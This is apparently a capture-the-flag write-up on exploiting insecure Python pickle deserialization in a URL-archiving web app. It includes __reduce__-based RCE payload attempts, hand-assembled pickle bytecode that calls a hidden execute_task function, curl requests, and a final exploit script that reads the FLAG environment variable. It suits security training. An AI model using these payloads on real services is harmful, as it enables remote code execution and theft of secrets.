The Cucumber's Secret – CTF Write-up

Reading duration: 10 mins

Preserve any page and recover a forensic metadata report when you need it.

Challenge Overview

We're presented with a sleek web application that archives URLs and generates forensic metadata reports. The interface has two main functions:

  1. Archive a URL - Submits a URL and receives an Archive ID
  2. Retrieve a Report - Submits an Archive ID to get metadata

Sounds innocent enough right? Let's dig in.


Initial Reconnaissance

Poking Around the Interface

The first thing I did was open up the web app and check out the source code. The HTML shows a clean single-page application with two forms that POST to /api/archive and /api/report.

Looking at the JavaScript, I noticed something interesting:

const result = await postJSON("/api/archive", { url });
output.innerHTML = `<p><strong>Archive ID:</strong></p><pre>${result.archiveId}</pre>`;

The Archive ID looked... weird. Really weird. It was a long base64 string that didn't look like a typical UUID or database ID.

Testing the Archive Function

Following the challenge note, I could only archive http://archive (since we're in an isolated container). So I submitted that:

Request:

POST /api/archive
{"url":"http://archive"}

Response:

{
  "archiveId": "gAWVmgAAAAAAAACMCGFwcC5tYWlulIwLQXJjaGl2ZU1ldGGUk5QpgZR9lCiMA3VybJSMDmh0dHA6Ly9hcmNoaXZllIwFdGl0bGWUjBFXZWxjb21lIHRvIG5naW54IZSMCXRpbWVzdGFtcJSMFDIwMjUtMTEtMDdUMjA6MjU6NTBalIwLc3RhdHVzX2NvZGWUS8iMCmNoYXJfY291bnSUTWcCdWIu",
  "metadata": {
    "url": "http://archive",
    "title": "Welcome to nginx!",
    "timestamp": "2025-11-07T20:25:50Z",
    "status_code": 200,
    "char_count": 615
  }
}

That archiveId is definitely base64. Let's see what's inside...


Vulnerability Discovery

Decoding the Archive ID

echo "gAWVmgAAAAAAAACMCGFwcC5tYWlulIwLQXJjaGl2ZU1ldGGUk5QpgZR9lCiMA3VybJSMDmh0dHA6Ly9hcmNoaXZllIwFdGl0bGWUjBFXZWxjb21lIHRvIG5naW54IZSMCXRpbWVzdGFtcJSMFDIwMjUtMTEtMDdUMjA6MjU6NTBalIwLc3RhdHVzX2NvZGWUS8iMCmNoYXJfY291bnSUTWcCdWIu" | base64 -d | xxd

The output shows binary data starting with \x80\x05 - that's a Python pickle!

For those unfamiliar, Python's pickle module serializes Python objects into byte streams. But here's the kicker: unpickling untrusted data is extremely dangerous because it can execute arbitrary code during deserialization.

Analyzing the Pickle Structure

Let's use Python's pickletools to see what's really going on:

import base64
import pickle
import pickletools
 
archiveId = "gAWVmgAAAAAAAACMCGFwcC5tYWlulIwLQXJjaGl2ZU1ldGGUk5QpgZR9lCiMA3VybJSMDmh0dHA6Ly9hcmNoaXZllIwFdGl0bGWUjBFXZWxjb21lIHRvIG5naW54IZSMCXRpbWVzdGFtcJSMFDIwMjUtMTEtMDdUMjA6MjU6NTBalIwLc3RhdHVzX2NvZGWUS8iMCmNoYXJfY291bnSUTWcCdWIu"
 
data = base64.b64decode(archiveId)
pickletools.dis(data)

Output:

    0: \x80 PROTO      5
    2: \x95 FRAME      154
   11: \x8c SHORT_BINUNICODE 'app.main'
   21: \x94 MEMOIZE    (as 0)
   22: \x8c SHORT_BINUNICODE 'ArchiveMeta'
   35: \x94 MEMOIZE    (as 1)
   36: \x93 STACK_GLOBAL
   37: \x94 MEMOIZE    (as 2)
   38: )    EMPTY_TUPLE
   39: \x81 NEWOBJ

Beautiful! The pickle is creating an instance of app.main.ArchiveMeta with all the metadata fields. This means:

  1. The server unpickles our Archive ID when we submit it to /api/report
  2. We control the pickle data
  3. Insecure deserialization vulnerability confirmed!

Exploitation Attempts (and Failures)

Attempt #1: Direct Command Execution

My first thought was to create a malicious pickle using subprocess or os.system:

import pickle
import base64
import subprocess
 
class Exploit:
    def __reduce__(self):
        cmd = "whoami"
        return (subprocess.check_output, (cmd.split(),))
 
malicious = pickle.dumps(Exploit())
payload = base64.b64encode(malicious).decode()

Result:

{ "error": "Invalid archive." }

Why it failed: The server likely has validation checking that the unpickled object is an ArchiveMeta instance.

Attempt #2: Mimicking ArchiveMeta Structure

Okay, let's try to make our exploit look like a legit ArchiveMeta object:

class ArchiveMeta:
    def __init__(self):
        self.url = "http://archive"
        self.title = "Exploited"
        self.timestamp = "2025-11-07T20:25:50Z"
        self.status_code = 200
        self.char_count = 615
 
    def __reduce__(self):
        cmd = "ls -la"
        return (os.popen, (cmd,))
 
exploit = ArchiveMeta()
malicious = pickle.dumps(exploit)
payload = base64.b64encode(malicious).decode()

Result:

{ "error": "Nope! Try again!" }

Why it failed: The server is doing more sophisticated validation. Just having the right attributes isn't enough.

Attempt #3: The Hidden Hint

Frustrated, I tried a few more variations, and then I got this beautiful error message:

{
  "error": "Error 192: Archive Failed. Developers should activate maintenance mode with execute_task to debug."
}

Wait... what? 🤔

"execute_task"? That's oddly specific. This error message is basically screaming "HEY, THERE'S A SECRET CLASS CALLED execute_task!"


The Breakthrough: execute_task

Crafting the Exploit

Based on the error hint and the original pickle structure, I realized we need to call app.main.execute_task with a command as an argument. Let's craft a pickle that does exactly that:

import pickle
import base64
 
def create_pickle(cmd):
    module = b'app.main'
    classname = b'execute_task'
    command = cmd.encode()
 
    # Build the pickle bytecode manually
    # PROTO 5 + FRAME + module + class + STACK_GLOBAL + command + TUPLE1 + REDUCE
    frame_content = (
        b'\x8c' + bytes([len(module)]) + module + b'\x94' +
        b'\x8c' + bytes([len(classname)]) + classname + b'\x94' +
        b'\x93\x94' +  # STACK_GLOBAL
        b'\x8c' + bytes([len(command)]) + command + b'\x94' +
        b'\x85\x94' +  # TUPLE1 + REDUCE
        b'R\x94.'
    )
 
    frame_size = len(frame_content)
    result = b'\x80\x05\x95' + frame_size.to_bytes(8, 'little') + frame_content
    return result
 
# Test with ls -la
malicious = create_pickle("ls -la")
payload = base64.b64encode(malicious).decode()
 
with open("payload.json", "w") as f:
    f.write(f'{{"archiveId": "{payload}"}}')

Testing the Payload

curl -X POST https://690e340c4ca025c9b826271e-8000.gateway.cityinthe.cloud/api/report \
  -H "Content-Type: application/json" \
  -d @payload.json

Response:

{
  "metadata": {
    "char_count": 334,
    "status_code": 0,
    "timestamp": "2025-11-09T17:14:03Z",
    "title": "total 24\ndrwxr-xr-x 1 appuser appuser 4096 Oct 24 17:29 .\ndrwxr-xr-x 1 root    root    4096 Oct 23 18:08 ..\n-rwxrwxrwx 1 appuser appuser 2475 Oct 23 18:02 README.md\ndrwxr-xr-x 1 appuser appuser 4096 Oct 24 17:29 app\n-rwxrwxrwx 1 appuser appuser  205 Oct 23 18:02 pyproject.toml\ndrwxr-xr-x 1 appuser appuser 4096 Oct 23 18:08 templates",
    "url": "maintenance://ls -la"
  }
}

IT WORKED!

Notice the command output is in the title field. That's our exfiltration channel!


Reading the README

Now let's see what's in that README.md file:

malicious = create_pickle("cat README.md")
payload = base64.b64encode(malicious).decode()

The README reveals everything about the challenge:

# The Cucumber's Secret
 
A single-page archive service... The security controls appear tight, but a
carefully weaponized archive token can still trigger remote code execution
via Python pickle.
 
## Defensive Layers
 
- Class allowlist – Custom SecureUnpickler only accepts app.main.ArchiveMeta objects.
- Byte filter – Rejects tokens containing substrings such as system, import, or
  subprocess before unpickling.
- Runtime isolation – Application runs as appuser with no write access to the
  container filesystem when launched via --read-only. The flag is exposed solely
  through the read-only FLAG environment variable.
 
## To Run
 
docker run -p 8000:8000 --read-only --tmpfs /tmp -e FLAG="SKY-\***\*-\*\***" cucumber-secret

FINDING: The flag is stored in an environment variable called FLAG! Redacted the full flag here to preserve the challenge integrity :)


Capturing the Flag

Let's extract that environment variable:

malicious = create_pickle("printenv FLAG")
payload = base64.b64encode(malicious).decode()

Submit it and check the title field in the response. You should see something like:

{
  "metadata": {
    "title": "SKY-****-****",
    ...
  }
}

And there's your flag!


Key Takeaways

What I Learned

  1. Always inspect encoded data - That weird looking Archive ID was the key to everything
  2. Error messages can be goldmines - The "execute_task" hint was intentionally helpful
  3. Pickle deserialization is extremely dangerous - Never unpickle untrusted data in production
  4. Bypass techniques matter - Even with allowlists and filters, creative exploitation paths exist

The Vulnerability Chain

flowchart TD A["User Input (URL)"] --> B["Server creates ArchiveMeta object"] B --> C["Pickles it → Base64 → Returns archiveId"] C --> D["User submits archiveId to /api/report"] D --> E["Server: Base64 decode → UNPICKLE (vulnerable!)"] E --> F["If we control the pickle → RCE"]

The Exploit in Action

Here's the final exploit script for anyone who wants to try (for similar challenges):

import pickle
import base64
 
def create_pickle(cmd):
    """Create a malicious pickle that calls app.main.execute_task(cmd)"""
    module = b'app.main'
    classname = b'execute_task'
    command = cmd.encode()
 
    frame_content = (
        b'\x8c' + bytes([len(module)]) + module + b'\x94' +
        b'\x8c' + bytes([len(classname)]) + classname + b'\x94' +
        b'\x93\x94' +
        b'\x8c' + bytes([len(command)]) + command + b'\x94' +
        b'\x85\x94' +
        b'R\x94.'
    )
 
    frame_size = len(frame_content)
    return b'\x80\x05\x95' + frame_size.to_bytes(8, 'little') + frame_content
 
# Get the flag
malicious = create_pickle("printenv FLAG")
payload = base64.b64encode(malicious).decode()
 
print(f"Submit this to /api/report:")
print(f'{{"archiveId": "{payload}"}}')

Tools Used:

  • Python (pickle, pickletools, base64)
  • curl
  • xxd

Recommended reads